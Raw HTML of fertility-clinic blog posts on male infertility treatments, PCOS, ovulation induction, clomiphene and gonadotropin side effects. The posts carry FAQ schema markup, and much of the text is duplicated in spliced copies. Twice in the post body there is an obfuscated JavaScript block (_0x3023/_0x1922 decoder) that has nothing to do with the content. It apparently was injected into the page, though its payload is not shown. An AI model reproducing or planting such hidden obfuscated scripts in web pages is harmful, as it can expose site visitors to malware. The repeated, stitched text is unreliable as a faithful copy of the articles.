technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong><a href=\"https://www.nufertility.com/in-vitro-fertilization-ivf\">IVF (In-vitro Fertilization)</a>:</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n<strong><a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\">Tips to Boost Male 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<strong>about 5% of women. </strong>In women with <strong>polycystic ovaries,</strong> the ovaries are enlarged with multiple small cysts, which are nothing but the immature eggs which are not growing. These ovaries also have thick stroma which produces excessive androgens. They may also have an altered ratio of pituitary hormones- <strong>FSH and LH</strong> which interferes with ovulation. <strong>Excessive androgens</strong> are also responsible for acne and hirsutism.\r\n\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>How do you know if you have Polycystic Ovaries?</strong></span></h2>\r\n<strong>Typically they will have one or more of these symptoms:</strong>\r\n<ol>\r\n 	<li><strong>Irregular and infrequent periods</strong> with either excessive flow or scanty flow.</li>\r\n 	<li>Acne.</li>\r\n 	<li>Hirsutism.</li>\r\n 	<li><strong>Weight gain</strong> worsens all these symptoms.</li>\r\n 	<li>The <strong>hormone test AMH</strong> is elevated and sometimes there is also an alteration of the FSH and LH ratio.</li>\r\n</ol>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>What causes PCOS?</strong></span></h2>\r\n<strong>Polycystic ovaries</strong> are a result of long term anovulation. It has a significant hereditary basis. Along with that weight gain and insulin resistance worsens the symptoms.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>Why does PCOS cause infertility?</strong></span></h2>\r\nInfertility in PCOS is due to anovulation. Due to excessive androgens and altered hormonal milieu, follicular growth and ovulation do not happen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff6600;\"><strong>What are my treatment options for PCOS if I want to get pregnant?\r\n</strong></span></h2>\r\n<ol>\r\n 	<li><strong>Weight Loss</strong> is the first and foremost thing in the treatment of PCOD associated infertility. <strong>Even a 5-7 % weight loss</strong> can result in spontaneous ovulation.</li>\r\n 	<li> <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/ovulation-induction\" target=\"_blank\" rel=\"noopener\">Ovulation induction</a></span>:</strong> a variety of drugs like clomiphene citrate, letrozole and gonadotrophins like FSH  and HMG can be used to induce ovulation. The dosage should be titrated by doing serial follicular monitoring.  It also helps in timed intercourse.</li>\r\n 	<li>Sometimes when the ovaries do not respond to these drugs adjuvant medicines like metformin, myoinositol, and low dose steroids may also be used.</li>\r\n 	<li><strong>Surgical management:</strong> When the ovaries fail to respond to the ovulation induction drugs, <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/laparoscopic-and-hysteroscopic-surgeries\" target=\"_blank\" rel=\"noopener\">laparoscopy</a></span></strong> and ovarian drilling may be considered. This is particularly useful in lean <strong>PCOS</strong> and those with high <strong>LH.</strong></li>\r\n 	<li><strong>IVF</strong> may have to be considered if they fail to conceive even after 6 cycles of ovulation induction and 3-4 cycles of <strong><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></span>.</strong> These women are at high risk for ovarian hyperstimulation syndrome <strong>during IVF.</strong> Hence it is advised to avoid<strong> HCG trigger</strong> and instead use a GnRH agonist trigger. <strong>Freeze all</strong> embryos policy followed by Frozen embryo transfer provides an optimal outcome.</li>\r\n</ol>\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function 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line-height: 0;\" class=\"mce_SELRES_start\">﻿</span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>{\"@context\":\"https://schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"What is ovulation?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Usually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11  16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle  typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\"}},{\"@type\":\"Question\",\"name\":\"What are gonadotrophins?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\"}},{\"@type\":\"Question\",\"name\":\"When should I test for pregnancy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script><!--FAQPage Code Generated by https://saijogeorge.com/json-ld-schema-generator/faq/-->\r\n<div style=\"text-align: justify;\">\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is ovulation?</strong></h2>\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. Gurnee &amp; Crystal Lake, Illinois\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"What is ovulation?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Usually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\"}},{\"@type\":\"Question\",\"name\":\"What are gonadotrophins?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\"}},{\"@type\":\"Question\",\"name\":\"When should I test for pregnancy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script>\r\n\r\n<strong>What is ovulation?</strong>\r\n\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" 